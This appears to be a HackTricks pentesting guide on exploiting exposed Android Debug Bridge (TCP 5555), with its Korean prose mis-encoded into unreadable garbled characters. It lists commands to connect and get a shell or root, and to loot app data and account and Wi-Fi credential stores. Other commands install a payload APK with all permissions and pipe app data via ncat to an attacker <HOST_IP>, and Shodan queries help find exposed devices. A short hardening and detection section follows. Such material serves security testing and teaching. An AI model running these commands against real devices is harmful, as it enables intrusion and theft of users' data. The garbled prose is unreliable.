5555 - Android Debug Bridge
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
From the docs:
Android Debug Bridge (adb)๋ Android ๊ธฐ๋ฐ ์ฅ์น ๋ฐ ์๋ฎฌ๋ ์ดํฐ์ ํต์ ํ๊ธฐ ์ํ ๋ช ๋ น์ค ๋๊ตฌ์ ๋๋ค. ์ผ๋ฐ์ ์ธ ์์ ์๋ ํจํค์ง ์ค์น, ๋๋ฒ๊น ๋ฐ ์ฅ์น์์ ๋ํํ Unix ์ ธ์ ์ป๋ ๊ฒ์ด ํฌํจ๋ฉ๋๋ค.
- ์ญ์ฌ์ ๊ธฐ๋ณธ TCP ํฌํธ: 5555 (ํด๋์ โadb tcpipโ ๋ชจ๋).
- ํ๋ ๋ฌด์ ๋๋ฒ๊น (Android 11+)์ TLS ํ์ด๋ง ๋ฐ mDNS ์๋น์ค ๊ฒ์์ ์ฌ์ฉํฉ๋๋ค. ์ฐ๊ฒฐ ํฌํธ๋ ๋์ ์ด๋ฉฐ mDNS๋ฅผ ํตํด ๋ฐ๊ฒฌ๋ฉ๋๋ค; 5555๊ฐ ์๋ ์ ์์ต๋๋ค. ํ์ด๋ง์ adb pair host:port ๋ค์์ adb connect๋ก ์ํ๋ฉ๋๋ค. ๊ณต๊ฒฉ์ ์๋ฏธ์ ๋ํ ์ฃผ์ ์ฌํญ์ ์๋๋ฅผ ์ฐธ์กฐํ์ญ์์ค.
Example nmap fingerprint:
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
Connect
ADB๊ฐ ๋ ธ์ถ๋์ด ์๊ณ ์ ๊ทผ ๊ฐ๋ฅํ๋ค๋ฉด, ๋น ๋ฅด๊ฒ ์ฐ๊ฒฐํ๊ณ ์ด๊ฑฐํด ๋ณด์ธ์:
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
- ๋ง์ฝ ์ฅ์น๊ฐ ADB ์ธ์ฆ์ ๊ฐ์ ํ๋ ๊ฒฝ์ฐ (ro.adb.secure=1), ์ฌ์ ์ธ์ฆ(USB RSA ์ธ์ฆ)์ด ํ์ํ๊ฑฐ๋ Android 11+ ๋ฌด์ ๋๋ฒ๊น ํ์ด๋ง์ ์ฌ์ฉํด์ผ ํฉ๋๋ค(์ด๋ ์ฅ์น์ ํ์๋ ์ผํ์ฑ ์ฝ๋๊ฐ ํ์ํฉ๋๋ค).
- ์ผ๋ถ ๋ฒค๋ ์ด๋ฏธ์ง, ์์ง๋์ด๋ง/์ฌ์ฉ์ ๋๋ฒ๊ทธ ๋น๋, ์๋ฎฌ๋ ์ดํฐ, TV, STB ๋ฐ ๊ฐ๋ฐ ํคํธ๋ ์ธ์ฆ ์์ด adbd๋ฅผ ๋ ธ์ถํ๊ฑฐ๋ adbd๊ฐ ๋ฃจํธ๋ก ์คํ๋ฉ๋๋ค. ์ด๋ฌํ ๊ฒฝ์ฐ, ์ผ๋ฐ์ ์ผ๋ก ์ ธ ๋๋ ๋ฃจํธ ์ ธ์ ์ง์ ์ ๊ทผํ๊ฒ ๋ฉ๋๋ค.
์ผ๋ฐ ADB ๋ช ๋ น ์ฐธ์กฐ๋ ๋ค์์ ์ฐธ์กฐํ์ญ์์ค:
๋น ๋ฅธ ํฌ์คํธ ์ต์คํ๋ก์
์ ธ์ ์ ๊ทผํ ํ, ๊ถํ ๋ฐ SELinux ์ปจํ ์คํธ๋ฅผ ๊ฒ์ฆํ์ญ์์ค:
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
๋ฐ์ดํฐ ์ด๊ฑฐ ๋ฐ ์บก์ฒ
- ์๋ํํฐ ์ฑ ๋ฐ ๊ฒฝ๋ก ๋์ด:
pm list packages -3
pm path <pkg>
- ๋ฃจํธ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ (adb root ๋๋ su ์ฌ์ฉ ๊ฐ๋ฅ), /data์ ์ง์ ์ ๊ทผํ ์ ์์ต๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ๋๋ฒ๊น ๊ฐ๋ฅํ ์ฑ์ ๋ํด run-as๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข์ต๋๋ค:
# ๋ฃจํธ ์์ด, ๋๋ฒ๊น
๊ฐ๋ฅํ ์ฑ์ ๊ฒฝ์ฐ
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# ๋ฃจํธ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
- ์ ์ฉํ ์์คํ ์ํฐํฉํธ (๋ฃจํธ ํ์):
- /data/system/users/0/accounts.db ๋ฐ ๊ด๋ จ AccountManager ๋ฐ์ดํฐ
- /data/misc/wifi/ (๊ตฌ๋ฒ์ ์ ๋คํธ์ํฌ ๊ตฌ์ฑ/ํค)
- /data/data/
์๋์ ์ฑ ์ ์ฉ SQLite DB ๋ฐ shared_prefs
์ด๋ฅผ ์ฌ์ฉํ์ฌ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ๊ฒ์ํ ์ ์์ต๋๋ค (์: ์ฑ ๋น๋ฐ). Chrome ๋ฐ์ดํฐ ๊ณ ๋ ค ์ฌํญ์ ๋ํ ๋ ธํธ๋ ์ฌ๊ธฐ์์ ์ฐธ์กฐํ์ญ์์ค.
์ฝ๋ ์คํ ๋ฐ ํ์ด๋ก๋ ์ ๋ฌ
- ๋ฐํ์ ๊ถํ ์ค์น ๋ฐ ์๋ ๋ถ์ฌ:
adb install -r -g payload.apk # -g๋ ๋งค๋ํ์คํธ์ ์ ์ธ๋ ๋ชจ๋ ๋ฐํ์ ๊ถํ์ ๋ถ์ฌํฉ๋๋ค
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
- ํ๋/์๋น์ค/๋ธ๋ก๋์บ์คํธ๋ฅผ ์ง์ ์์:
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
ํฌํธ ํฌ์๋ฉ ๋ฐ ํผ๋ฒํ
๋ฃจํธ ์์ด๋ adb๋ ๋ก์ปฌ ํฌํธ๋ฅผ ์ฅ์น ํฌํธ๋ก, ๋๋ ๊ทธ ๋ฐ๋๋ก ํฌ์๋ฉํ ์ ์์ต๋๋ค. ์ด๋ ์ฅ์น์์ ๋ก์ปฌ๋ก ๋ฐ์ธ๋ฉ๋ ์๋น์ค์ ์ ๊ทผํ๊ฑฐ๋ ๊ณต๊ฒฉ์ ์๋น์ค๋ฅผ ์ฅ์น์ ๋ ธ์ถํ๋ ๋ฐ ์ ์ฉํฉ๋๋ค.
- ํธ์คํธ->์ฅ์น ํฌ์๋ฉ (ํธ์คํธ์์ ์ฅ์น ๋ก์ปฌ ์๋น์ค์ ์ ๊ทผ):
adb forward tcp:2222 tcp:22 # ์ฅ์น์์ SSH๊ฐ ์คํ๋๋ ๊ฒฝ์ฐ (์: Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # ์ฑ์ ๋ก์ปฌ ๋๋ฒ๊ทธ ์๋ฒ ๋
ธ์ถ
- ์ฅ์น->ํธ์คํธ ์ญ๋ฐฉํฅ (์ฅ์น๊ฐ ํธ์คํธ์ ์๋น์ค์ ์ ๊ทผํ๋๋ก ํ์ฉ):
adb reverse tcp:1080 tcp:1080 # ์ฅ์น ์ฑ์ด ์ด์ 127.0.0.1:1080์ผ๋ก ํธ์คํธ:1080์ ์ ๊ทผํ ์ ์์ต๋๋ค
- ์์ผ์ ํตํ ํ์ผ ์ ์ถ (sdcard ์ฐ๊ธฐ ์์):
# ํธ์คํธ์์: ์์ ๋๊ธฐ
ncat -lvp 9000 > dump.tar
# ์ฅ์น์์: tar๋ก ๋๋ ํ ๋ฆฌ ์ ์ก (๋ฃจํธ ๋๋ run-as ์ ์ฉ ๊ฐ๋ฅ)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
๋ฌด์ ๋๋ฒ๊น (Android 11+)
ํ๋ Android๋ ์ฅ์น ์ธก ํ์ด๋ง ๋ฐ mDNS ๊ฒ์์ ํตํด TLS๋ก ๋ณดํธ๋ ๋ฌด์ ๋๋ฒ๊น ์ ๊ตฌํํฉ๋๋ค:
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
๋ ธํธ
- ํฌํธ๋ ๋์ ์ ๋๋ค; 5555๋ฅผ ๊ฐ์ ํ์ง ๋ง์ญ์์ค. mDNS ์๋น์ค ์ด๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- _adb-tls-pairing._tcp (ํ์ด๋ง)
- _adb-tls-connect._tcp (ํ์ด๋ง๋ ์ฐ๊ฒฐ)
- _adb._tcp (๋ ๊ฑฐ์/์ผ๋ฐ)
- mDNS๊ฐ ํํฐ๋ง๋๋ฉด, ๊ณ ์ USB ์ง์ ํ์ฑํ๊ฐ ์ผ๋ถ ๋น๋์์ ์ฌ์ ํ ์๋ํ ์ ์์ต๋๋ค:
adb tcpip 5555๋ค์adb connect <ip>:5555(์ฌ๋ถํ ์ ๊น์ง).
๊ณต๊ฒฉ์ ์๋ฏธ: ์ฅ์น UI์ ์ํธ์์ฉํ ์ ์๋ค๋ฉด (์: ๋ฌผ๋ฆฌ์ ์ ๊ทผ ๋๋ ๋ชจ๋ฐ์ผ MDM ์๋ชป ๊ตฌ์ฑ) ๋ฌด์ ๋๋ฒ๊น ์ ํ์ฑํํ๊ณ ํ์ด๋ง ์ฝ๋๋ฅผ ๋ณผ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ์ผ์ด๋ธ ์์ด ์ฅ๊ธฐ์ ์ผ๋ก ํ์ด๋ง๋ ADB ์ฑ๋์ ์ค์ ํ ์ ์์ต๋๋ค. ์ผ๋ถ OEM์ ํ์ด๋ง ์์ด ์์ง๋์ด๋ง/๊ฐ๋ฐ ์ด๋ฏธ์ง์์ TCP๋ฅผ ํตํด ADB๋ฅผ ๋ ธ์ถํฉ๋๋คโํญ์ ํ์ธํ์ญ์์ค.
๊ฐํ / ํ์ง
์๋น์๋ ๋๋ฌ ๊ฐ๋ฅํ adbd (TCP)๊ฐ ์ค์ํ ์ํ์ด๋ผ๊ณ ๊ฐ์ ํด์ผ ํฉ๋๋ค.
- ํ์ํ์ง ์์ ๋ ADB ๋ฐ ๋ฌด์ ๋๋ฒ๊น ์ ๋นํ์ฑํํ์ญ์์ค. ๊ฐ๋ฐ์ ์ต์ ์์ USB ๋๋ฒ๊น ๊ถํ์ ์ทจ์ํ์ญ์์ค.
- ์ ๋ขฐํ ์ ์๋ ์ธ๊ทธ๋จผํธ์์ ์์ TCP/5555 ๋ฐ mDNS ๊ธฐ๋ฐ ADB ๊ฒ์์ ์ฐจ๋จํ๋ ๋คํธ์ํฌ ์ ์ฑ ์ ๋ณด์ฅํ์ญ์์ค.
- ๊ทํ์ ์ ์ด ํ์ ์๋ ์ฅ์น์์:
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # TCP ์์ ๋นํ์ฑํ (๋๋ ์ฌ์ฉ: adb usb)
stop adbd; start adbd # ๋ฐ๋ชฌ ์ฌ์์
- ๊ธฐ์
๋คํธ์ํฌ์์ mDNS ๋ ์ฝ๋
_adb._tcp,_adb-tls-connect._tcp,_adb-tls-pairing._tcp๋ฅผ ๋ชจ๋ํฐ๋งํ๊ณ ์์์น ๋ชปํ 5555 ๋ฆฌ์ค๋์ ๋ํ ๊ฒฝ๊ณ ๋ฅผ ์ค์ ํ์ญ์์ค. - ๋ถ์์ ํ ๋น๋์ ๋ํ ์ธ๋ฒคํ ๋ฆฌ:
getprop ro.debuggable,ro.build.type, ๋ฐro.adb.secure.
Shodan
- android debug bridge
- port:5555 product:โAndroid Debug Bridgeโ
์ฐธ์กฐ
- Android Developers โ Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP โ ADB over WiโFi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


